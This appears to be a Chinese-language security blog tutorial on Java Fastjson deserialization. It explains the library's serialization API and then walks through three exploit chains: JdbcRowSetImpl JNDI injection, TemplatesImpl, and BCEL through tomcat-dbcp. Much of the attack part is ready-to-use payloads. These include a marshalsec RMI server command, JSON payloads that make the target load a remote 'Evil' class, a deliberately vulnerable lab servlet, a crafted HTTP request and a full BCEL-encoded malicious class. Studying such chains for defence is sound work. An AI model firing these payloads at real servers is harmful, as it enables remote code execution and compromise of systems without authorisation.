fastjson
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,也可以将 JSON 字符串转换为 Java 对象。
序列化
JSON.toJSONString():将对象转为json格式
1
| String jsonString1 = JSON.toJSONString(student);
|
{“name”:”xiaowu”}
如果要得到对象类的全限名,需要添加SerializerFeature.WriteClassName参数
1
| String jsonString2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);
|
{“@type”:”com.example.entity.Student”,”name”:”xiaowu”}
反序列化
JSON.parse(jsonStr)
把 JSON 字符串解析成一个通用的 Java 对象
返回类型是 Object
JSON.parseObject(jsonStr)
把 JSON 字符串直接解析成一个 JSONObject 或指定类型对象
返回 JSONObject
JSON.parseObject(jsonStr,Bean.class)
把 JSON 字符串直接解析成一个指定类型对象
返回Bean.class
实例对象
如果json数据的key有**@type**,那么就会自动实例化这个类,当然除非转换类型,否则实例类的类型依然是JSONObject
如果没有**@type**,那就只会返回一个普通的json对象
调用关系
序列化会自动调用get+属性名(首字母自动大写,_自动去掉)方法
**parse(jsonStr)**会调用set+属性名(首字母自动大写,_自动去掉)方法
**parseObject(jsonStr)**会调用set+get方法,因为该方法在内部调用了toJSON(obj),所以会获取get方法
限制
若Bean里面有get和set方法,则会返回该对象的实例,若无get,set,则会判断属性是否为public,若是,则会正常实例化
Feature.SupportNonPublicField
若无set,且属性为public,则需用Feature.SupportNonPublicField参数
1
| JSON.parseObject(jsonString2, Student.class,Feature.SupportNonPublicField)
|
set的查找方式:
- 方法名长度大于4
- 非静态方法
- 返回值为void或当前类
- 方法名以set开头
- 参数个数为1
get的查找方式:
- 方法名长度大于等于4
- 非静态方法
- 以get开头且第4个字母为大写
- 无传入参数
FastJson JdbcRowSetImpl JNDI注入
已知反序列化会根据@type寻找类并调用里面的set/get方法
JdbcRowSetImpl
connect()
创建InitialContext对象,使用lookup且参数可控
1 2 3 4 5 6 7
| private Connection connect() throws SQLException { if (this.conn != null) { return this.conn; } else if (this.getDataSourceName() != null) { try { InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
|
setDataSourceName()
设置dataSource,可以将其设置为rmi地址
1 2 3 4 5 6 7 8 9
| public void setDataSourceName(String name) throws SQLException {
if (name == null) { dataSource = null; } else if (name.equals("")) { throw new SQLException("DataSource name cannot be empty string"); } else { dataSource = name; }
|
setAutoCommit()
调用connect(),且为set方法
1 2 3 4 5 6 7 8 9
| public void setAutoCommit(boolean var1) throws SQLException { if (this.conn != null) { this.conn.setAutoCommit(var1); } else { this.conn = this.connect(); this.conn.setAutoCommit(var1); }
}
|
靶场
启动rmi服务
1
| java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.9:80/#Evil" 1099
|
构建poc
1 2 3 4 5 6 7 8
| public class POC { public static void main(String[] args) { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://192.168.1.9:1099/Evil\", \"autoCommit\":true}"; System.out.println(PoC); JSON.parse(PoC); } }
|
1
| {"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.1.9:1099/Evil", "autoCommit":true}
|
启动靶场
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| @WebServlet("/login2") public class LoginServlet2 extends HttpServlet {
@Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { req.setCharacterEncoding("utf-8");
BufferedReader reader = req.getReader(); StringBuilder sb = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { sb.append(line); } String json = sb.toString(); System.out.println("收到 JSON: " + json);
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
try { com.alibaba.fastjson.JSON.parse(json); } catch (Exception e) { e.printStackTrace(); }
resp.setContentType("text/plain;charset=utf-8"); resp.getWriter().println("JSON 已解析"); }
}
|
抓包修改并发送
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| POST /fastjson_war/login2 HTTP/1.1 Host: localhost:8081 Content-Length: 108 sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/json;charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost:8081 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:8081/fastjson_war/ Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close
{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.1.9:1099/Evil", "autoCommit":true}
|
成功

Fastjson TemplatesImpl链反序列化
在TemplatesImpl类的getOutputProperties()使用newTransformer()再调用defingClass()进行类加载,且它为get开头,因此可以使用它进行反序列化动态加载恶意类
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class Poc2 { public static void main(String[] args) throws IOException { byte[] bytes = Files.readAllBytes(Paths.get("D:\\Maven\\project\\fastjson\\fastjson\\src\\main\\java\\Evil.class")); String code = Base64.getEncoder().encodeToString(bytes); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String payload = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" + code + "\"]," + "'_name':'xiaowusec'," + "'_tfactory':{}," + "\"_outputProperties\":{}}\n"; System.out.println(payload); JSON.parseObject(payload,TemplatesImpl.class,Feature.SupportNonPublicField); } }
|
FastJson bcel链
环境
1 2 3 4 5
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>8.5.50</version> </dependency>
|
刚刚介绍的是fastjson利用jndi注入来远程加载恶意类的方法,如果机器在内网无法访问互联网那么这种方法就失败了,虽然TemplatesImpl利用链虽然原理上也是利用了 ClassLoader 动态加载恶意代码,但是需要开启Feature.SupportNonPublicField,并且实际应用中其实不多见所以我们就介绍另外一种攻击方法apache-BCEL,直接传入字节码不需要出网就可执行恶意代码但是需要引入tomcat的依赖,但在实际攻击中还算是比较常见的。
普通bcel
1 2 3 4 5 6 7 8 9 10 11
| public class becl { public static void main(String[] args) throws IOException, SQLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
JavaClass cls = Repository.lookupClass(Evil.class); String code = Utility.encode(cls.getBytes(), true); System.out.println("$$BCEL$$"+code); new ClassLoader().loadClass("$$BCEL$$" + code).newInstance(); } }
|
com.sun.org.apache.bcel.internal.util.ClassLoader的loadClsaa会判断字符开头是否为bcel编码$$BCEL$$,若是,则解密后加载
1. 普通 ClassLoader 的行为
通常:
1
| Class<?> c = driverClassLoader.loadClass("com.mysql.cj.jdbc.Driver");
|
loadClass 接受的是 类的全限定名(FQCN)
- ClassLoader 去查找
.class 文件或 jar 包,把字节码加载成 Class 实例
2. BCEL ClassLoader 的特殊性
BCEL 的 ClassLoader(com.sun.org.apache.bcel.internal.util.ClassLoader)重写了加载逻辑:
- 它能识别 以
$$BCEL$$ 开头的字符串
- 并不会当作类名去查找
.class 文件
- 而是:
- 解析字符串 → 得到原始 Java 字节码
- 调用 defineClass 动态生成 Class 对象
- 初始化类(执行静态代码块)
所以这里 driverClassName 传入的不是普通类名,而是 BCEL 编码的字节码数据。
利用链
org/apache/tomcat/dbcp/dbcp2/BasicDataSource.java
getConnection()方法调用createDataSource()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| @Override public Connection getConnection() throws SQLException { if (Utils.IS_SECURITY_ENABLED) { final PrivilegedExceptionAction<Connection> action = new PaGetConnection(); try { return AccessController.doPrivileged(action); } catch (final PrivilegedActionException e) { final Throwable cause = e.getCause(); if (cause instanceof SQLException) { throw (SQLException) cause; } throw new SQLException(e); } } return createDataSource().getConnection(); }
|
createDataSource()调用createConnectionFactory()

createConnectionFactory()调用createDriver()

createDriver()调用Class.forName()加载类

问题代码
1
| driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
|
driverClassName,driverClassLoader可控,可有自定义com.sun.org.apache.bcel.internal.util.ClassLoader加载恶意bcel编码

POC
1 2 3 4 5 6 7 8 9 10 11 12
| { { "@type": "com.alibaba.fastjson.JSONObject", "x":{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$db$40$U$9cMB$i$3bN$81$40$S$a0_$d0$f2$91p$c0$97$de$S$f5BA$aa0$a5jP$w$8e$9b$ed6$y$d8$de$c8q$m$ff$88s$$$b4$w$S$bd$f7GU$bcu$a34$SX$f2$be$7d3$f3f$c7$eb$3f$7f$7f$dd$Dx$87$ba$D$h$x$OV$b1V$c0sS_Xxi$e1$95$83$3c$5e$5bX$b7$b0$c1$90o$a9H$r$ef$Z$b2$f5F$87$n$b7$af$bfI$86y_E$f2$d30$ec$ca$f8$94w$DB$ca$be$W$3c$e8$f0X$99$7e$C$e6$92s5$60$a8$f9B$87$9e$i$f1$b0$lH$ef$83$M$b5wp$a5$82$sC$a1$r$82$89$3f$p$7d$c5$bf$e0W$dcS$da$fbxr0$S$b2$9f$u$j$91$ac$d4N$b8$b8$3c$e6$fd$d4$97R28m$3d$8c$85$3cT$e6$i$db$d8$ed$99Y$X$O$8a$W$de$b8x$8bM$K$40$99$84$8b$zl3$y$3d$e1$cd$b0$96$a2$B$8fz$de$97a$94$a8PNI$e3$b5C$a1$9e$M$cf$b0$f0$7f$f2$a4$7b$nE$c2$b0$f8$c8$8c$82$f6d2m$w$f5$86$ffHC$l$98$93$p$v$Yv$ea3l$3b$89U$d4k$ce$O$7c$8e$b5$90$83$B$N$ac$cc$wO$cfc$7dmn$a6$d9$e8$60$D$F$fa$af$e6$c9$80$99$db$a0$d5$a5$ce$a3$ca$a8$ce$ed$fe$A$h$a7t$89$d6$fc$3f$Q$cfhu$t$fby$yP$z$60q$3a$fc$j$d9$94$ab$fdD$a6$9c$bdE$ee$eb$NJGw$c8$9f$91$9b$f5$7b$9c$926I$e7Hhl$ab$b4C$9a$a4H$a8M$98C$98$3b$3d$a6DX$ZK$d4$z$d3k$n$e3$5b$a8$d8DT$d3d$b5$H$J$B$Gl$a6$C$A$A" } } }
|
POC解释
1
| "driverClassLoader": "com/sun/org/apache/bcel/internal/util/ClassLoader.java"
|
1
| driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
|
1 2 3 4 5 6 7 8 9 10 11 12
| Fastjson 反序列化 JSON │ ▼ 生成 BasicDataSource 对象 │ Class.forName(driverClassName, true, driverClassLoader) │ BCEL ClassLoader 解析 $$BCEL$$ 编码 │ 动态生成 Class 对象 │ 静态块 / 构造方法执行 → payload 被执行
|
参考文章
https://blog.csdn.net/uuzeray/article/details/136437140
https://blog.csdn.net/weixin_49248030/article/details/127989449